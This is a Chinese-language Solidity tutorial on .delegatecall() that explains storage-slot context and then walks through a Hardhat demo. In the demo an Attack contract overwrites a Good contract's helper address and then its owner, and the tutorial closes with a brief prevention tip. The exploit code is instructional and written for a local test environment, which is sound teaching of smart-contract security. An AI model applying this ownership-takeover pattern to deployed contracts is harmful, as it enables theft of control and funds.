Skip to main content

.delegatecall(...)

.delegatecall() 是 Solidity 中的一个方法,用于从一个原始合约中调用目标合约中的一个函数。然而,与其他方法不同的是,当使用.delegatecall()在目标合约中执行函数时,上下文从原始合约中传递,即代码在目标合约中执行,但变量在原始合约中被修改。

通过本教程,我们将了解为什么正确理解.delegatecall()的工作原理很重要,否则会产生一些严重后果。

等等,什么?

让我们先了解它是如何工作的。

使用.delegatecall()时需要注意的是,原始合约的上下文被传递给目标合约,目标合约的所有状态变化都反映在原始合约的状态上,而不是目标合约的状态上,即使该函数是在目标合约上执行的。

嗯,不是很清楚,我明白你的意思。所以让我们试着通过一个例子来理解。

在以太坊中,一个函数可以表示为 4+32*N 个字节,其中 4 个字节为函数选择器,32*N 个字节为函数参数。

  • 函数选择器。为了得到函数选择器,我们将函数的名称和它的参数类型进行散列,不留空隙,例如,对于像 putValue(uint value)这样的东西,你将使用 keccak-256 散列 putValue(uint),这是 Ethereum 使用的一个散列函数,然后取其前 4 个字节。为了更好地理解 keccak-256 和散列,我建议你观看这个视频
  • 函数参数。将每个参数转换成固定长度为 32 字节的十六进制字符串,并将其连接起来。

我们有两个合约 Student.solCalculator.sol。我们不知道 Calculator.sol 的 ABI,但是我们知道他们存在一个 add 函数,这个函数接收两个 uint,并在 Calculator.sol 中把它们加起来。

让我们看看如何使用 delegateCall 来从 Student.sol 中调用这个函数

pragma solidity ^0.8.4;
contract Student {
uint public mySum;
address public studentAddress;

function addTwoNumbers(address calculator, uint a, uint b) public returns (uint) {
(bool success, bytes memory result) = calculator.delegatecall(abi.encodeWithSignature("add(uint256,uint256)", a, b));
require(success, "The call to calculator contract failed");
return abi.decode(result, (uint));
}
}
pragma solidity ^0.8.4;
contract Calculator {
uint public result;
address public user;

function add(uint a, uint b) public returns (uint) {
result = a + b;
user = msg.sender;
return result;
}
}

我们的学生合约在这里有一个函数 addTwoNumbers,它接收一个地址和两个要相加的数字。它没有直接执行,而是试图在地址上做一个.delegatecall(),用于接收两个数字的函数 add

我们使用了 abi.encodeWithSignature,也与 abi.encodeWithSelector 相同,它首先进行哈希运算,然后从函数的名称和参数类型中取出前 4 个字节。在我们的例子中,它做了以下工作。(bytes4(keccak256(add(uint,uint)),然后将参数--a,b 附加到函数选择器的 4 个字节上。这些都是 32 字节的长度(32 字节=256 位,这也是 uint256 可以存储的)。

所有这些在连接后被传递到委托调用方法中,在计算器合约的地址上被调用。

实际的加法部分并不那么有趣,有趣的是计算器合约实际上设置了一些状态变量。但是请记住,当数值在 Calcultor 合约中被分配时,它们实际上是被分配到了学生合约的存储器中,因为 deletgatecall 在目标合约中执行函数时使用了原始合约的存储器。那么到底会发生什么呢?

从以前的课程中你知道,solidity 中的每个变量槽都是 32 字节,也就是 256 位。当我们使用.delegatecall()从学生到计算器时,我们使用了学生的存储空间,而不是计算器的存储空间,但问题是,即使我们使用了学生的存储空间,槽的数量也是基于计算器合约的,在这种情况下,当你在 Calculator.sol 的 add 函数中给结果赋值时,你实际上是将值赋给了学生合约中的 mySum。

这可能是个问题,因为存储槽可以有不同数据类型的变量。如果学生合约中的值是按这样的顺序定义的呢?

contract Student {
address public studentAddress;
uint public mySum;
}

在这种情况下,地址变量实际上最终会成为结果的值。你可能会想,一个地址数据类型怎么可能包含一个 uint 的值?要回答这个问题,你必须想得低一点。最后,所有的数据类型都只是字节。地址和 uint 都是 32 字节的数据类型,所以结果的 uint 值可以被设置在地址公共 studentAddress 变量中,因为它们都还是 32 字节的数据。

实际使用案例

.delegatecall()在代理(可升级)合约中被大量使用。由于智能合约默认是不可升级的,使其可升级的方法通常是有一个不改变的存储合约,其中包含一个执行合约的地址。如果你想更新你的合约代码,你就把执行合约的地址改成新的东西。存储合约使用.delegatecall()进行所有调用,这允许运行不同版本的代码,同时随着时间的推移保持相同的持久化存储,无论你改变多少个实现合约。因此,逻辑可以改变,但数据永远不会被分割。

使用 delegatecall 进行攻击

但是,由于.delegatecall()修改了调用函数的合约的存储空间,如果.delegatecall()没有正确实现,就会设计出一些讨厌的攻击。我们现在将模拟一个使用.delegatecall()的攻击。

会发生什么?

我们将有三个智能合约 Attack.sol, Good.solHelper.sol 黑客将能够使用 Attack.sol.delegatecall()来改变 Good.sol 的所有者。

构建

让我们建立一个例子,你可以体验一下攻击是如何发生的。

创建项目

要建立一个 Hardhat 项目,打开终端并执行这些命令

npm init --yes
npm install --save-dev hardhat
# 如果你使用的是 Windows 机器,请做这个额外的步骤,同时安装这些库:)
# npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
npx hardhat

选择创建一个基本样本项目 对已经指定的 Hardhat 项目根按回车键 在是否要添加.gitignore 的问题上按回车键 在 "是否要用 npm 安装这个样本项目的依赖项(@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? 现在你已经有一个准备好的 hardhat 项目了!

让我们从创建一个看起来很无辜的合约开始 - Good.sol。它将包含 Helper 合约的地址,以及一个叫做 owner 的变量。函数 setNum 将对 Helper 合约做一个委托调用()。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
address public helper;
address public owner;
uint public num;

constructor(address _helper) {
helper = _helper;
owner = msg.sender;
}

function setNum( uint _num) public {
helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
}
}

在创建完 Good.sol 后,我们将在合约目录下创建名为 Helper.sol 的 Helper 合约。这是一个简单的合约,通过 setNum 函数更新 num 的值。由于它只有一个变量,该变量将永远指向槽 0。当与 delegatecall 一起使用时,它将修改原始合约中 0 号槽的值。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Helper {
uint public num;

function setNum(uint _num) public {
num = _num;
}
}

现在在合约目录下创建一个名为 Attack.sol 的合约,并编写以下几行代码。我们将逐步了解它是如何工作的。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./Good.sol";

contract Attack {
address public helper;
address public owner;
uint public num;

Good public good;

constructor(Good _good) {
good = Good(_good);
}

function setNum(uint _num) public {
owner = msg.sender;
}

function attack() public {
// This is the way you typecast an address to a uint
good.setNum(uint(uint160(address(this))));
good.setNum(1);
}
}

攻击者将首先部署 Attack.sol 合约,并在构造函数中获取一个 Good 合约的地址。然后,他将调用攻击函数,该函数将进一步最初调用 Good.sol 中的 setNum 函数。

值得注意的是,最初调用 setNum 的参数,它是一个被打成 uint256 的地址,这是它自己的地址。在 Good.sol 合约中的 setNum 函数接收到作为 uint 的地址后,它进一步对 Helper 合约进行委托调用,因为现在帮助者变量被设置为 Helper 合约的地址。

在 Helper 合约中,当 setNum 被执行时,它设置了_num,在我们的例子中,现在是 Attack.sol 的地址被打成了一个 uint,进入 num。请注意,由于 num 位于 Helper 合约的 0 号槽,它实际上会把 Attack.sol 的地址分配给 Good.sol 的 0 号槽。喔... 你可能知道这是怎么回事了。Good 的 0 号槽是帮助者变量,这意味着,攻击者现在已经成功地将帮助者地址变量更新到它自己的合约上。

现在,帮助者合约的地址已经被 Attack.sol 的地址覆盖了。在 Attack.sol 的攻击函数中被执行的下一件事是另一个 setNum,但数字为 1。数字 1 在这里没有任何意义,它可以被设置成任何东西。

现在,当 setNum 在 Good.sol 中被调用时,它将把调用委托给 Attack.sol,因为帮助器合约的地址已经被覆盖了。

Attack.sol 内的 setNum 被执行,它将所有者设置为 msg.sender,在这种情况下就是 Attack.sol 本身,因为它是委托调用的原始调用者,而且因为所有者在 Attack.sol 的槽 1,Good.sol 的槽 1 将被覆盖,也就是它的所有者。

攻击者能够改变 Good.sol 的所有者 👀 🔥。

让我们试着用代码来实际执行这个攻击。我们将利用 Hardhat 测试来演示这个功能。

在测试文件夹中创建一个名为 attack.js 的新文件,并添加以下几行代码

const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { ethers, waffle } = require("hardhat");

describe("Attack", function () {
it("Should change the owner of the Good contract", async function () {
// Deploy the helper contract
const helperContract = await ethers.getContractFactory("Helper");
const _helperContract = await helperContract.deploy();
await _helperContract.deployed();
console.log("Helper Contract's Address:", _helperContract.address);

// Deploy the good contract
const goodContract = await ethers.getContractFactory("Good");
const _goodContract = await goodContract.deploy(_helperContract.address);
await _goodContract.deployed();
console.log("Good Contract's Address:", _goodContract.address);

// Deploy the Attack contract
const attackContract = await ethers.getContractFactory("Attack");
const _attackContract = await attackContract.deploy(_goodContract.address);
await _attackContract.deployed();
console.log("Attack Contract's Address", _attackContract.address);

// Now lets attack the good contract

// Start the attack
let tx = await _attackContract.attack();
await tx.wait();

expect(await _goodContract.owner()).to.equal(_attackContract.address);
});
});

要执行测试以验证 Good 合约的所有者确实发生了变化,在你的终端上指向包含本级所有代码的目录,执行以下命令

npx hardhat test

如果你的测试通过了,那么 Good 合约的所有者地址确实被改变了,因为我们在测试结束时将 Good 中所有者变量的值等同于攻击合约的地址。

Lets goo 🚀🚀

预防

使用无状态库合约,这意味着你委托调用的合约应该只用于执行逻辑,而不应该维护状态。这样一来,库中的函数就不可能修改调用合约的状态。

参考文献